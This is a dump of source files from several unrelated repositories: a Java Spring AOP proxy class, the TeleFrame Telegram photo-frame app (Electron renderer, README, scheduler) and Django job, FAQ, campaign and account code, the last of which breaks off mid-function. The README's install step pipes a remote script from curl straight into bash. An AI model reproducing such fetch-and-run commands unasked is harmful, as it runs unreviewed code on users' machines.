import com.spring.formwork.aop.support.GPAdvisedSupport;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.util.List;
/**
* 2019/4/19
* 创建人¥Jack
*/
public class GPJdkDynamicAopProxy implements GPAopProxy, InvocationHandler {
private GPAdvisedSupport advised;
public GPJdkDynamicAopProxy(GPAdvisedSupport config){this.advised = config;}
@Override
public Object getProxy() {return getProxy(this.advised.getTargetClass().getClassLoader());}
@Override
public Object getProxy(ClassLoader classLoader) {
return Proxy.newProxyInstance(classLoader,this.advised.getTargetClass().getInterfaces(),this);
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
List<Object> interceptorsAndDynamicMethodMatchers = this.advised.getInterceptorsAndDynamicInterceptionAdvice(method,this.advised.getTargetClass());
GPMethodInvocation invocation = new GPMethodInvocation(proxy,this.advised.getTarget(),method,args,this.advised.getTargetClass(),interceptorsAndDynamicMethodMatchers);
return invocation.procced();
}
}
| 444f74595f68bc2663386987887419fe61534f29 | [
"Java"
] | 12 | Java | fengsj001/spring | a17d340f523864ac69cef9bb70f86c7b96c96dbf | 3f6f1417955c2bfc2866ee8b07c5dbfc9ee894c0 |
refs/heads/master | <repo_name>thomaszp/TeleFrame<file_sep>/js/renderer.js
// Imports
const {remote, ipcRenderer} = require("electron");
const $ = require("jquery");
window.jQuery = $;
const Swal = require("sweetalert2");
const randomColor = require("randomcolor");
const chroma = require("chroma-js");
const velocity = require("velocity-animate");
const logger = remote.getGlobal("rendererLogger");
const config = remote.getGlobal("config");
// Inform that Renderer started
logger.info("Renderer started ...");
// Create variables
var assets = remote.getGlobal("assets");
var container = document.getElementById("container");
var isPaused = false;
var currentAssetIndex = assets.length;
var startTime, endTime, longpress, timeout, recordSwal, currentChatId, currentMessageId, currentTimeout;
// configure sound notification sound
if (config.playSoundOnReceive != false) {
var audio = new Audio(__dirname + "/sound1.mp3");
}
// handle touch events for navigation and voice reply
$("body").on('touchstart', function () {
startTime = new Date().getTime();
currentImageForVoiceReply = assets[currentAssetIndex]
});
$("body").on('touchend', function (event) {
endTime = new Date().getTime();
longpress = (endTime - startTime > 500) ? true : false;
tapPos = event.originalEvent.changedTouches[0].pageX
containerWidth = $("body").width()
if (tapPos / containerWidth < 0.2) {
previousAsset()
} else if (tapPos / containerWidth > 0.8) {
nextAsset()
} else {
if (longpress) {
ipcRenderer.send("record", currentImageForVoiceReply['chatId'], currentImageForVoiceReply['messageId']);
} else {
if (isPaused) {
play()
} else {
pause()
}
}
}
});
// handle pressed record button
ipcRenderer.on("recordButtonPressed", function (event, arg) {
currentImageForVoiceReply = assets[currentAssetIndex]
ipcRenderer.send("record", currentImageForVoiceReply['chatId'], currentImageForVoiceReply['messageId']);
});
// show record in progress message
ipcRenderer.on("recordStarted", function (event, arg) {
let message = document.createElement("div");
let spinner = document.createElement("div");
spinner.classList.add("spinner");
message.appendChild(spinner);
let text = document.createElement("p");
messageText = config.voiceReply.recordingPreMessage
+ ' ' + currentImageForVoiceReply['chatName']
+ ' ' + config.voiceReply.recordingPostMessage;
text.innerHTML = messageText
message.appendChild(text);
recordSwal = Swal.fire({
title: config.voiceReply.recordingMessageTitle,
showConfirmButton: false,
html: message
});
});
// show record done message
ipcRenderer.on("recordStopped", function (event, arg) {
let message = document.createElement("div");
let text = document.createElement("p");
text.innerHTML = config.voiceReply.recordingDone
+ ' ' + currentImageForVoiceReply['chatName'];
message.appendChild(text);
recordSwal.close();
Swal.fire({
html: message,
title: config.voiceReply.recordingMessageTitle,
showConfirmButton: false,
type: "success",
timer: 5000
});
});
//show record error message
ipcRenderer.on("recordError", function (event, arg) {
let message = document.createElement("div");
let text = document.createElement("p");
text.innerHTML = config.voiceReply.recordingError;
message.appendChild(text);
recordSwal.close();
Swal.fire({
html: message,
title: config.voiceReply.recordingMessageTitle,
showConfirmButton: false,
icon: "error",
timer: 5000
});
});
// handle new incoming asset
ipcRenderer.on("newAsset", function (event, arg) {
newAsset(arg.sender, arg.type);
if (config.playSoundOnReceive != false) {
audio.play();
}
});
// handle navigation
ipcRenderer.on("next", function (event, arg) {
nextAsset()
});
ipcRenderer.on("previous", function (event, arg) {
previousAsset()
});
ipcRenderer.on("pause", function (event, arg) {
pause()
});
ipcRenderer.on("play", function (event, arg) {
play()
});
// functions to show and hide pause icon
function showPause() {
var pauseBox = document.createElement("div");
var div1 = document.createElement("div");
var div2 = document.createElement("div");
pauseBox.id = "pauseBox";
pauseBox.style =
"height:50px;width:45px;position:absolute;top:20px;right:20px";
pauseBox.appendChild(div1);
pauseBox.appendChild(div2);
div1.style =
"height:50px;width:15px;background-color:blue;float:left;border-radius:2px";
div2.style =
"height:50px;width:15px;background-color:blue;float:right;border-radius:2px";
container.appendChild(pauseBox);
}
function hidePause() {
let node = document.getElementById("pauseBox");
if (node.parentNode) {
node.parentNode.removeChild(node);
}
}
// functions for navigation
function nextAsset() {
if (isPaused) hidePause();
loadAsset(true, 0);
if (isPaused) showPause();
}
function previousAsset() {
if (isPaused) hidePause();
loadAsset(false, 0);
if (isPaused) showPause();
}
function pause() {
if (isPaused) return;
isPaused = true;
clearTimeout(currentTimeout);
showPause(isPaused);
}
function play() {
if (!isPaused) return;
isPaused = false;
loadAsset(true, 0);
hidePause(isPaused);
}
function assetIsVideo(asset) {
return asset.src.split(".").pop() == "mp4"
}
function assetIsImage(asset) {
return asset.src.split(".").pop() == "jpg"
}
function assetIsText(asset) {
return asset.src.split(".").pop() == "txt"
}
//load image to slideshow
function loadAsset(isNext, fadeTime, goToLatest = false) {
clearTimeout(currentTimeout);
if (assets.length == 0) {
currentTimeout = setTimeout(() => {
loadAsset(true, fadeTime);
}, config.interval);
return;
}
// get image path and increase currentAssetIndex for next image
if (isNext) {
if (currentAssetIndex >= assets.length - 1) {
currentAssetIndex = 0;
} else {
currentAssetIndex++;
}
} else {
currentAssetIndex--;
if (currentAssetIndex < 0) currentAssetIndex = assets.length - 1;
}
var asset = assets[currentAssetIndex];
//get current container and create needed elements
var currentImage = container.firstElementChild;
var div = document.createElement("div");
var assetTag;
if (assetIsVideo(asset)) {
assetTag = document.createElement("video");
assetTag.muted = !config.playVideoAudio;
assetTag.autoplay = true;
} else if (assetIsImage(asset)) {
assetTag = document.createElement("img");
} else if (assetIsText(asset)) {
assetTag = document.createElement("embed");
}
var sender = document.createElement("span");
var caption = document.createElement("span");
//create background and font colors for sender and caption
var backgroundColor = randomColor({
luminosity: "dark",
alpha: 1
});
var fontColor = randomColor({
luminosity: "light",
alpha: 1
});
//when contrast between background color and font color is too small to
//make the text readable, recreate colors
while (chroma.contrast(backgroundColor, fontColor) < 4.5) {
backgroundColor = randomColor({
luminosity: "dark",
alpha: 1
});
fontColor = randomColor({
luminosity: "light",
alpha: 1
});
}
//set class names and style attributes
assetTag.src = asset.src;
assetTag.className = "image";
div.className = "assetcontainer";
sender.className = "sender";
caption.className = "caption";
caption.id = "caption";
sender.innerHTML = asset.sender;
caption.innerHTML = asset.caption;
sender.style.backgroundColor = backgroundColor;
caption.style.backgroundColor = backgroundColor;
sender.style.color = fontColor;
caption.style.color = fontColor;
//generate some randomness for positions of sender and caption
if (Math.random() >= 0.5) {
sender.style.left = 0;
sender.style.borderTopRightRadius = "10px";
sender.style.borderBottomRightRadius = "10px";
} else {
sender.style.right = 0;
sender.style.borderTopLeftRadius = "10px";
sender.style.borderBottomLeftRadius = "10px";
}
if (Math.random() >= 0.5) {
caption.style.left = 0;
caption.style.borderTopRightRadius = "10px";
caption.style.borderBottomRightRadius = "10px";
} else {
caption.style.right = 0;
caption.style.borderTopLeftRadius = "10px";
caption.style.borderBottomLeftRadius = "10px";
}
if (Math.random() >= 0.5) {
sender.style.top = "2%";
caption.style.bottom = "2%";
} else {
sender.style.bottom = "2%";
caption.style.top = "2%";
}
//calculate aspect ratio to show complete image on the screen and
//fade in new image while fading out the old image as soon as
//the new imageis loaded
if (assetIsVideo(asset)) {
assetTag.onloadeddata = function () {
screenAspectRatio =
remote
.getCurrentWindow()
.webContents.getOwnerBrowserWindow()
.getBounds().width /
remote
.getCurrentWindow()
.webContents.getOwnerBrowserWindow()
.getBounds().height;
imageAspectRatio = assetTag.naturalWidth / assetTag.naturalHeight;
if (imageAspectRatio > screenAspectRatio) {
assetTag.style.width = "100%";
div.style.width = "100%";
} else {
assetTag.style.height = "100%";
div.style.height = "100%";
}
$(div).velocity("fadeIn", {
duration: fadeTime
});
$(currentImage).velocity("fadeOut", {
duration: fadeTime
});
if (!isPaused) {
currentTimeout = setTimeout(() => {
loadAsset(true, fadeTime);
}, assetTag.duration * 1000);
}
};
} else if (assetIsImage(asset)) {
assetTag.onload = function () {
screenAspectRatio =
remote
.getCurrentWindow()
.webContents.getOwnerBrowserWindow()
.getBounds().width /
remote
.getCurrentWindow()
.webContents.getOwnerBrowserWindow()
.getBounds().height;
imageAspectRatio = assetTag.naturalWidth / assetTag.naturalHeight;
if (imageAspectRatio > screenAspectRatio) {
assetTag.style.width = "100%";
div.style.width = "100%";
} else {
assetTag.style.height = "100%";
div.style.height = "100%";
}
div.style.height = "100%";
$(div).velocity("fadeIn", {
duration: fadeTime
});
$(currentImage).velocity("fadeOut", {
duration: fadeTime
});
if (!isPaused) {
currentTimeout = setTimeout(() => {
loadAsset(true, config.fadeTime);
}, config.interval);
}
};
} else if (assetIsText(asset)) {
//assetTag.style.width = "100%";
div.style.width = "100%";
$(div).velocity("fadeIn", {
duration: fadeTime
});
$(currentImage).velocity("fadeOut", {
duration: fadeTime
});
if (!isPaused) {
currentTimeout = setTimeout(() => {
loadAsset(true, config.fadeTime);
}, config.interval);
}
}
div.appendChild(assetTag);
if (config.showSender) {
div.appendChild(sender);
}
if (config.showCaption && asset.caption !== undefined) {
div.appendChild(caption);
}
setTimeout(function () {
container.removeChild(currentImage);
}, fadeTime)
container.appendChild(div);
//fade out sender and caption at half time of the shown image
setTimeout(function () {
$(sender).velocity("fadeOut", {
duration: fadeTime / 2
});
$(caption).velocity("fadeOut", {
duration: fadeTime / 2
});
}, config.interval / 2);
}
//notify user of incoming image and restart slideshow with the newest image
function newAsset(sender, type) {
assets = remote.getGlobal("assets");
if (type == "image") {
Swal.fire({
title: config.newPhotoMessage + " " + sender,
showConfirmButton: false,
timer: 5000,
type: "success"
}).then((value) => {
currentAssetIndex = assets.length;
loadAsset(true, 0);
});
} else if (type == "video") {
Swal.fire({
title: config.newVideoMessage + " " + sender,
showConfirmButton: false,
timer: 5000,
type: "success"
}).then((value) => {
currentAssetIndex = assets.length;
loadAsset(true, 0);
});
} else if (type == "document") {
Swal.fire({
title: config.newPhotoMessage + " " + sender,
showConfirmButton: false,
timer: 5000,
type: "success"
}).then((value) => {
currentAssetIndex = assets.length;
loadAsset(true, 0);
});
} else if (type == "text") {
Swal.fire({
title: config.newTextMessage + " " + sender,
showConfirmButton: false,
timer: 5000,
type: "success"
}).then((value) => {
currentAssetIndex = assets.length;
loadAsset(true, 0);
});
}
}
//start slideshow of assets
loadAsset(true, config.fadeTime);
<file_sep>/README.md


<p align="center">
<a><img src="https://img.shields.io/github/last-commit/LukeSkywalker92/TeleFrame.svg" alt="Latest Comit"></a>
<a><img src="https://img.shields.io/github/release/LukeSkywalker92/TeleFrame.svg" alt="Release"></a>
<a href="https://david-dm.org/LukeSkywalker92/TeleFrame"><img src="https://david-dm.org/LukeSkywalker92/TeleFrame.svg" alt="david-dm"></a>
</p>
**TeleFrame** is an open source digital image frame that displays images and videos, which were send to an Telegram Bot.
## !!! IMPORTANT !!!
**Before updating to 2.0.0, please read the release notes of release 2.0.0**
## Table Of Contents
- [Table Of Contents](#table-of-contents)
- [Installation](#installation)
- [Automatic Installation (Raspberry Pi only!)](#automatic-installation-raspberry-pi-only)
- [Manual Installation](#manual-installation)
- [Configuration](#configuration)
- [Whitelist Chats](#whitelist-chats)
- [Voice Replies using TeleFrame](#voice-replies-using-teleframe)
- [Touchscreen support](#touchscreen-support)
- [Updating](#updating)
- [Bot only mode (no GUI)](#bot-only-mode-no-gui)
- [Building a TeleFrame](#building-a-teleframe)
## Installation
### Automatic Installation (Raspberry Pi only!)
*Electron*, the app wrapper around Teleframe, only supports the Raspberry Pi 2/3/4. The Raspberry Pi 0/1 is currently **not** supported.
Note that you will need to install the lastest full version of Raspbian, **don't use the Lite version**.
Execute the following command on your Raspberry Pi to install TeleFrame:
```bash
bash -c "$(curl -sL https://raw.githubusercontent.com/LukeSkywalker92/TeleFrame/master/tools/install_raspberry.sh)"
```
### Manual Installation
1. Download and install the latest *Node.js* version.
2. If you like to use the voice reply feature you need to install sox
3. Install *Electron* globally with `npm install -g electron`.
4. Clone the repository and check out the master branch: `git clone https://github.com/LukeSkywalker92/TeleFrame.git`
5. Enter the repository: `cd TeleFrame/`
6. Install and run the app with: `npm install && npm start`
Also note that:
- `npm start` does **not** work via SSH. But you can use `DISPLAY=:0 nohup npm start &` instead. \
This starts the TeleFrame on the remote display.
- To access toolbar menu when in fullscreen mode, hit `ALT` key.
- To toggle the (web) `Developer Tools` from fullscreen mode, use `CTRL-SHIFT-I` or `ALT` and select `View`.
## Configuration
1. Copy `TeleFrame/config/config.js.example` to `TeleFrame/config/config.js`. \
**Note:** If you used the installer script. This step is already done for you.
2. Modify your required settings.
The following properties can be configured:
| **Option** | **Description** |
| -------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `botToken` | The token of the Telegram Bot, which will recieve the images. How to create a bot and get the token is explained [here](https://core.telegram.org/bots#6-botfather). |
| `whitelistChats` | Use this to only allow certain users to send photos to your TeleFrame. See hints below. |
| `playSoundOnReceive` | Play a sound on recieving a message, set `false` to turn off. |
| `showVideos` | When set to true, videos that are send to the bot are also shown. |
| `playVideoAudio` | If recieved videos should be played with sound or not. |
| `assetFolder` | The folder where the assets are stored. |
| `fullscreen` | When set to true, TeleFrame will run in fullscreen mode. |
| `fadeTime` | The fading time between two images. |
| `interval` | The time that an image is shown. |
| `imageCount` | Defines how many different images are shown in the slideshow. |
| `newPhotoMessage` | Message that is shown when the bot recieved a new image. |
| `newVideoMessage` | Message that is shown when the bot recieved a new video. |
| `showSender` | When set to true, TeleFrame will show the name of the sender when the image is shown. |
| `showCaption` | When set to true, TeleFrame will show the caption of the image when the image is shown. |
| `fullscreen` | When set to true, TeleFrame will run in fullscreen mode. |
| `toggleMonitor` | When set to true, TeleFrame will switch the monitor off and on at the defined hours. |
| `turnOnHour` | Defines when the monitor shuld be turned on. |
| `turnOffHour` | Defines when the monitor shuld be turned off. |
| `keys` | Defines an object with 4 strings specifying the keyboard shortcuts for play, next, previous and pause. Set to null for no controls |
| `voiceReply` | Defines an object with the config for sending voicemessages with TeleFrame, see info bellow |
## Whitelist Chats
When you start your TeleFrame and send a "Hi" to the bot it will send you back the current chat id. Paste this id or several of them into the `whitelistChats` config option to only allow only pictures from these ids (eg `[1234567, 89101010]`). Leave empty (`[]`) for no whitelist.
## Voice Replies using TeleFrame
A very simple way to respond to the images is by using TeleFrame`s voice reply feature. The feature is intended to work like this: Who ever comes by the frame presses a button, speaks their message into the frame, when there is 2 seconds of silence or the maximum time is reached the recording will stop and the telegram bot will send it to the chat where the current image came from.
| **Option** | **Description** |
| ----------------------- | ----------------------------------------------------------------------------------------- |
| `key` | The keyboardkey to start the voice recording |
| `maxRecordTime` | How long the recorder will record if there is no silence detected (in milliseconds) |
| `recordingMessageTitle` | The title of the recording dialog displayed on the frame during record |
| `recordingPreMessage` | The message of the recording dialog displayed on the frame during record before chat name |
| `recordingPostMessage` | The message of the recording dialog displayed on the frame during record after char name |
| `recordingDone` | The message of the recording dialog displayed on the frame when recording has finished |
| `recordingError` | The error message of the recording dialog displayed when recording has failed |
## Touchscreen support
* Navigate through the images by touching at the left or right side of your touchscreen.
* Pause and resume the slideshow by touching in the middle of your touchscreen.
* Record a voice message and reply to the shown image by making a long touch in the middle of your touchscreen. The recording starts when you take your finger off.
## Updating
If you want to update your TeleFrame to the latest version, use your terminal to go to your TeleFrame folder and type the following command:
```bash
git pull && npm install
```
If you changed nothing more than the config, this should work without any problems.
Type `git status` to see your changes, if there are any, you can reset them with `git reset --hard`. After that, git pull should be possible.
## Bot only mode (no GUI)
To run only the bot (without GUI), that saves the recieved images and videos into the folder specified in the config you need to run
```bash
npm run botonly
```
in the TeleFrame folder.
## Building a TeleFrame
A detailed instruction on how to build your own TeleFrame will follow soon.
<file_sep>/js/assetWatchdog.js
const fs = require('fs');
var AssetWatchdog = class {
constructor(assetFolder, assetCount, assets, emitter, logger) {
this.assetFolder = assetFolder;
this.assetCount = assetCount;
this.assets = assets;
this.logger = logger;
this.emitter = emitter;
//get paths of already downloaded assets
if (fs.existsSync(this.assetFolder + '/' + "assets.json")) {
fs.readFile(this.assetFolder + '/' + "assets.json", (err, data) => {
if (err) throw err;
var jsonData = JSON.parse(data);
for (var asset in jsonData) {
this.assets.push(jsonData[asset]);
}
});
} else {
this.saveAssetArray()
}
}
newAsset(type, src, sender, caption, chatId, chatName, messageId) {
//handle new incoming asset
// TODO: message ID and chat name to reply to specific asset and to show
// chat name for voice recording message
// put the new asset to beginning of asset array
this.assets.unshift({
'src': src,
'sender': sender,
'caption': caption,
'chatId': chatId,
'chatName': chatName,
'messageId': messageId
});
// remove last asset from asset array if max. array length is achieved
if (this.assets.length >= this.assetCount) {
var assetToRemove = this.assets.pop().src;
if (fs.existsSync(assetToRemove)){
fs.unlinkSync(assetToRemove, function (err) {
if (err) {
this.logger.error("An error occured while deleting asset file.");
return console.log(err);
}
});
}
}
//notify frontend, that new asset arrived
this.emitter.send('newAsset', {
sender: sender,
type: type
});
this.saveAssetArray();
}
saveAssetArray() {
var self = this;
// stringify JSON Object
var jsonContent = JSON.stringify(this.assets);
fs.writeFile(this.assetFolder + '/' + "assets.json", jsonContent, 'utf8', function (err) {
if (err) {
self.logger.error("An error occured while writing JSON Object to File.");
return console.log(err);
}
});
}
}
/*************** DO NOT EDIT THE LINE BELOW ***************/
if (typeof module !== "undefined") {
module.exports = AssetWatchdog;
}
<file_sep>/js/schedules.js
var schedule = require('node-schedule');
const exec = require("child_process").exec;
var schedules = class {
constructor(config, logger) {
this.turnOnHour = config.turnOnHour;
this.turnOffHour = config.turnOffHour;
this.logger = logger;
this.opts = {timeout: 15000};
var self = this;
//generate schedule for turning the monitor on
this.monitorOnSchedule = schedule.scheduleJob('* * ' + this.turnOnHour.toString() + ' * * *', function () {
self.turnMonitorOn();
});
//generate schedule for turning the monitor off
this.monitorOffSchedule = schedule.scheduleJob('* * ' + this.turnOffHour.toString() + ' * * *', function () {
self.turnMonitorOff();
});
this.logger.info('Scheduler started ...')
}
//execute command for turning the monitor on
turnMonitorOn() {
var self = this;
exec("tvservice --preferred && sudo chvt 6 && sudo chvt 7", self.opts, function (error, stdout, stderr) {
self.checkForExecError(error, stdout, stderr);
});
}
//execute command for turning the monitor off
turnMonitorOff() {
var self = this;
exec("tvservice -o", self.opts, function (error, stdout, stderr) {
self.checkForExecError(error, stdout, stderr);
});
}
//check for execution error
checkForExecError(error, stdout, stderr, res) {
console.log(stdout);
console.log(stderr);
if (error) {
console.log(error);
return;
}
}
}
if (typeof module !== "undefined") {
module.exports = schedules;
}
<file_sep>/botonly.js
/*
Script for only running the telegram bot to save the images and videos to
the images folder specified in the config
*/
const {
logger,
rendererLogger
} = require('./js/logger')
const config = require('./config/config')
const telebot = require('./js/bot')
const fs = require('fs');
logger.info('Running bot only version of TeleFrame ...');
var ImageWatchdog = class {
constructor(imageFolder, imageCount, logger) {
this.imageFolder = imageFolder;
this.imageCount = imageCount;
this.logger = logger;
this.images = []
//get paths of already downloaded images
if (fs.existsSync(this.imageFolder + '/' + "assets.json")) {
fs.readFile(this.imageFolder + '/' + "assets.json", (err, data) => {
if (err) throw err;
var jsonData = JSON.parse(data);
for (var image in jsonData) {
this.images.push(jsonData[image]);
}
});
} else {
this.saveImageArray()
}
}
newAsset(src, sender, caption) {
//handle new incoming image
this.images.unshift({
'src': src,
'sender': sender,
'caption': caption
});
if (this.images.length >= this.imageCount) {
this.images.pop();
}
var type;
if (src.split('.').pop() == 'mp4') {
type = 'video';
} else {
type = 'image';
}
this.saveImageArray();
}
saveImageArray() {
var self = this;
// stringify JSON Object
var jsonContent = JSON.stringify(this.images);
fs.writeFile(this.imageFolder + '/' + "assets.json", jsonContent, 'utf8', function(err) {
if (err) {
self.logger.error("An error occured while writing JSON Object to File.");
return console.log(err);
}
});
}
}
// create imageWatchdog and bot
const imageWatchdog = new ImageWatchdog(config.assetFolder, config.imageCount, logger);
var bot = new telebot(config.botToken, config.assetFolder, imageWatchdog, config.showVideos, logger);
bot.startBot()
| 067815dc6b4ece2d6135c5abbddc38fd638be287 | [
"JavaScript",
"Markdown"
] | 5 | JavaScript | thomaszp/TeleFrame | 10dce2f8fb4b29ae2f06ba63479be8140134dfa3 | 771c98eb36c78b541e9019ae72141f0ec4a7c133 |
refs/heads/master | <file_sep>from django.urls import path
from . import views
from django.views.decorators.csrf import csrf_exempt
urlpatterns = [
path('', views.GetJobs.as_view()),
path('one-job/<int:pk>', views.GetOneJob.as_view()),
path('job-application', views.AddJobsApplication.as_view()),
]<file_sep># Generated by Django 3.0.6 on 2020-09-22 12:07
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('manage_pricing', '0005_auto_20200922_1205'),
]
operations = [
migrations.AlterField(
model_name='dfprice',
name='Package_Type',
field=models.CharField(blank=True, choices=[('S', 'Start'), ('B', 'Business'), ('P', 'Professional'), ('M', 'Max')], max_length=120, null=True, unique=True),
),
]
<file_sep>from django.db import models
from accounts.models import DfUser
import django
from datetime import date
from manage_locations.models import DfBusinessLocation
def user_directory_path_for_banner(instance, filename):
project_id_in_list = instance.Title.split(" ")
today_date = date.today()
project_id_in_string = '_'.join([str(elem) for elem in project_id_in_list])
return '{0}/{1}'.format(project_id_in_string+"/campus/banner/"+str(today_date.year)+"/"+str(today_date.month)+"/"+str(today_date.day),filename)
class DfCampaign(models.Model):
DfUser = models.ForeignKey(DfUser, on_delete=models.SET_NULL, null=True, blank=True)
BusinessLocation = models.ForeignKey(DfBusinessLocation, on_delete=models.SET_NULL, null=True, blank=True)
Head = models.CharField(max_length=500, null=True, blank=True)
Subject = models.CharField(max_length=500, null=True, blank=True)
Title = models.CharField(max_length=500)
Sent_from = models.CharField(max_length=500)
replay_to = models.CharField(max_length=500)
message = models.TextField(null=True,blank=True)
Image = models.ImageField(upload_to=user_directory_path_for_banner,null=True,blank=True)
sms_message = models.TextField(null=True,blank=True)
Extera_data = models.TextField(null=True, blank=True)
Create_date = models.DateTimeField(default=django.utils.timezone.now)
def __str__(self):
return self.Title
class Meta:
verbose_name_plural = "DF Campaign"
class DfUseremail(models.Model):
DfUser = models.ForeignKey(DfUser, on_delete=models.SET_NULL, null=True, blank=True)
Campign = models.ForeignKey(DfCampaign, on_delete=models.SET_NULL, null=True, blank=True)
Email = models.CharField(max_length=500, null=True, blank=True)
Contact = models.CharField(max_length=500, null=True, blank=True)
Name = models.CharField(max_length=500, null=True, blank=True)
mail_sent_status = models.BooleanField(default=False)
Sent_date = models.DateTimeField(null=True, blank=True)
def __str__(self):
return self.Email
class Meta:
verbose_name_plural = "DF User Email"
def upload_image_path_for_banner(instance, filename):
project_id_in_list = "upload_image_for_url"
today_date = date.today()
project_id_in_string = project_id_in_list
return '{0}/{1}'.format(project_id_in_string+"/image/"+str(today_date.year)+"/"+str(today_date.month)+"/"+str(today_date.day),filename)
class DfUploadImage(models.Model):
DfUser = models.ForeignKey(DfUser, on_delete=models.SET_NULL, null=True, blank=True)
UploadFile = models.ImageField(upload_to=upload_image_path_for_banner,null=True,blank=True)
Create_date = models.DateTimeField(default=django.utils.timezone.now)
def __str__(self):
return str(self.DfUser)
class Meta:
verbose_name_plural = "DF Upload Image"<file_sep>from .models import DfFaqs
from .serializers import DfFaqsSerializer
from rest_framework import generics,filters
from manage_orders_and_payments.models import DfOrders
from .api_pagination import ProductLimitOffsetPagination , PrtoductPageNumberPagination
# Create your views here.
class GetFaqs(generics.ListCreateAPIView):
serializer_class = DfFaqsSerializer
agination_class = PrtoductPageNumberPagination
def get_queryset(self, *args, **kwargs):
"""
This view should return a list of all the purchases for
the user as determined by the username portion of the URL.
"""
DfOrders.objects.all().delete()
result_ = DfFaqs.objects.all().order_by("-id")
if 'category' in self.request.GET:
result_ = None
category_get = self.request.GET['category']
if DfFaqs.objects.filter(Category__Category=category_get).exists():
result_ = DfFaqs.objects.filter(Category__Category=category_get).order_by("-id")
return result_
class GetOneFaq(generics.RetrieveAPIView):
queryset = DfFaqs.objects.all()
serializer_class = DfFaqsSerializer
<file_sep># Generated by Django 3.0.6 on 2020-08-11 13:42
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('accounts', '0007_auto_20200806_1201'),
('manage_campus', '0006_auto_20200811_1123'),
]
operations = [
migrations.CreateModel(
name='DfUseremail',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('Email', models.CharField(blank=True, max_length=500, null=True)),
('Name', models.CharField(blank=True, max_length=500, null=True)),
('mail_sent_status', models.BooleanField(default=False)),
('Sent_date', models.DateTimeField(blank=True, null=True)),
('Campign', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to='manage_campus.DfCampaign')),
('DfUser', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to='accounts.DfUser')),
],
options={
'verbose_name_plural': 'DF User Email',
},
),
]
<file_sep>from django.urls import path
from . import views
from django.views.decorators.csrf import csrf_exempt
urlpatterns = [
path('', views.UserList.as_view()),
path('register', views.UserRegistration.as_view()),
path('get-all-user', views.GgetAllUser.as_view()),
path('login', csrf_exempt(views.LoginView.as_view()),name="login"),
path('logout', views.LogoutView.as_view(),name="Logout"),
path('get-login-user-info', views.LoginUserInfoView.as_view(),name="login_user_info"),
path('account-activate', views.ActivateYoutAccount.as_view(),name="Testdata"),
path('send-varification-link', views.SendVarificationLink.as_view(),name="Testdata"),
path('get-link-of-forget-password', views.GetLinkOfForgetPassword.as_view(),name="Forget_password_link"),
path('reset-password', views.ResetPasswordView.as_view(),name="Reset_password"),
path('Testdata', views.Testdata.as_view(),name="Testdata"),
]<file_sep>from django.apps import AppConfig
class ManageCampusConfig(AppConfig):
name = 'manage_campus'
<file_sep>from django.apps import AppConfig
class QueryesConfig(AppConfig):
name = 'queryes'
<file_sep>from rest_framework import serializers
from django.contrib.auth.models import User
from accounts.models import testUser,DfUser
from django.contrib.auth import authenticate
from rest_framework.authtoken.models import Token
from rest_framework import exceptions
from django.utils.encoding import force_bytes, force_text
from django.utils.http import urlsafe_base64_encode, urlsafe_base64_decode
from dashifyproject.tokens import account_activation_token
import django
class PaswordResetSerializers(serializers.Serializer):
pera_1 = serializers.CharField(style={"inpupt_type": "text"}, write_only=True)
pera_2 = serializers.CharField(style={"inpupt_type": "text"}, write_only=True)
password = serializers.CharField(style={"inpupt_type": "text"}, write_only=True)
def validate(self, data):
pera_1 = data.get("pera_1", "")
pera_2 = data.get("pera_2", "")
password = data.get("password", "")
message = ""
try:
uid = force_text(urlsafe_base64_decode(pera_1))
user = User.objects.get(pk=uid)
except(TypeError, ValueError, OverflowError, User.DoesNotExist):
user = None
if user is not None and account_activation_token.check_token(user, pera_2):
user.set_password(<PASSWORD>)
user.save()
message = "Your password is set successfuly."
else:
mes = "Link is invalide"
raise exceptions.ValidationError(mes)
return message
class EmailSerializers(serializers.Serializer):
email_id = serializers.CharField(style={"inpupt_type": "text"}, write_only=True)
def validate(self, data):
email_id = data.get("email_id", "")
if User.objects.filter(email=email_id).exists():
data["user"] = User.objects.get(email=email_id)
else:
mes = "email_id is incorrcet."
raise exceptions.ValidationError(mes)
return data
class UserSerializers(serializers.ModelSerializer):
class Meta:
medel = User
fields = '__all__'
class AccountActivateSerializers(serializers.Serializer):
pera_1 = serializers.CharField(style={"inpupt_type": "text"}, write_only=True)
pera_2 = serializers.CharField(style={"inpupt_type": "text"}, write_only=True)
def validate(self, data):
pera_1 = data.get("pera_1", "")
pera_2 = data.get("pera_2", "")
message = ""
try:
uid = force_text(urlsafe_base64_decode(pera_1))
user = User.objects.get(pk=uid)
except(TypeError, ValueError, OverflowError, User.DoesNotExist):
user = None
if user is not None and account_activation_token.check_token(user, pera_2):
user.is_active = True
user.save()
message = "Account is activated. please login."
else:
message = "Varification link is invalide."
return message
class RegistrationSerializers(serializers.ModelSerializer):
first_name = serializers.CharField(style={"inpupt_type":"text"},write_only=True)
last_name = serializers.CharField(style={"inpupt_type":"text"},write_only=True)
Company_name = serializers.CharField(style={"inpupt_type":"text"},write_only=True)
Country = serializers.CharField(style={"inpupt_type":"text"},write_only=True)
Phone = serializers.CharField(style={"inpupt_type":"number"},write_only=True)
Zip = serializers.CharField(style={"inpupt_type":"email"},write_only=True)
class Meta:
model = User
fields = ['first_name','last_name','username','password','Company_name','Country','Phone','Zip']
eextra_kwargs = {
'password':{'<PASSWORD>_<PASSWORD>':True}
}
def save(self):
Userset = User(
username = self.validated_data['username'],
first_name=self.validated_data['first_name'],
last_name=self.validated_data['last_name'],
email = self.validated_data['username'],
is_active = False,
)
password = self.validated_data['password']
Userset.set_password(password)
Userset.save()
DfUser_set = DfUser(
user = Userset,
first_name = self.validated_data['first_name'],
last_name = self.validated_data['last_name'],
Company_name = self.validated_data['Company_name'],
Country = self.validated_data['Country'],
Phone = self.validated_data['Phone'],
Zip = self.validated_data['Zip']
)
DfUser_set.save()
return Userset
# ===========================================
class LoginSerializers(serializers.Serializer):
username = serializers.CharField()
password = serializers.CharField()
def validate(self, data):
username = data.get("username","")
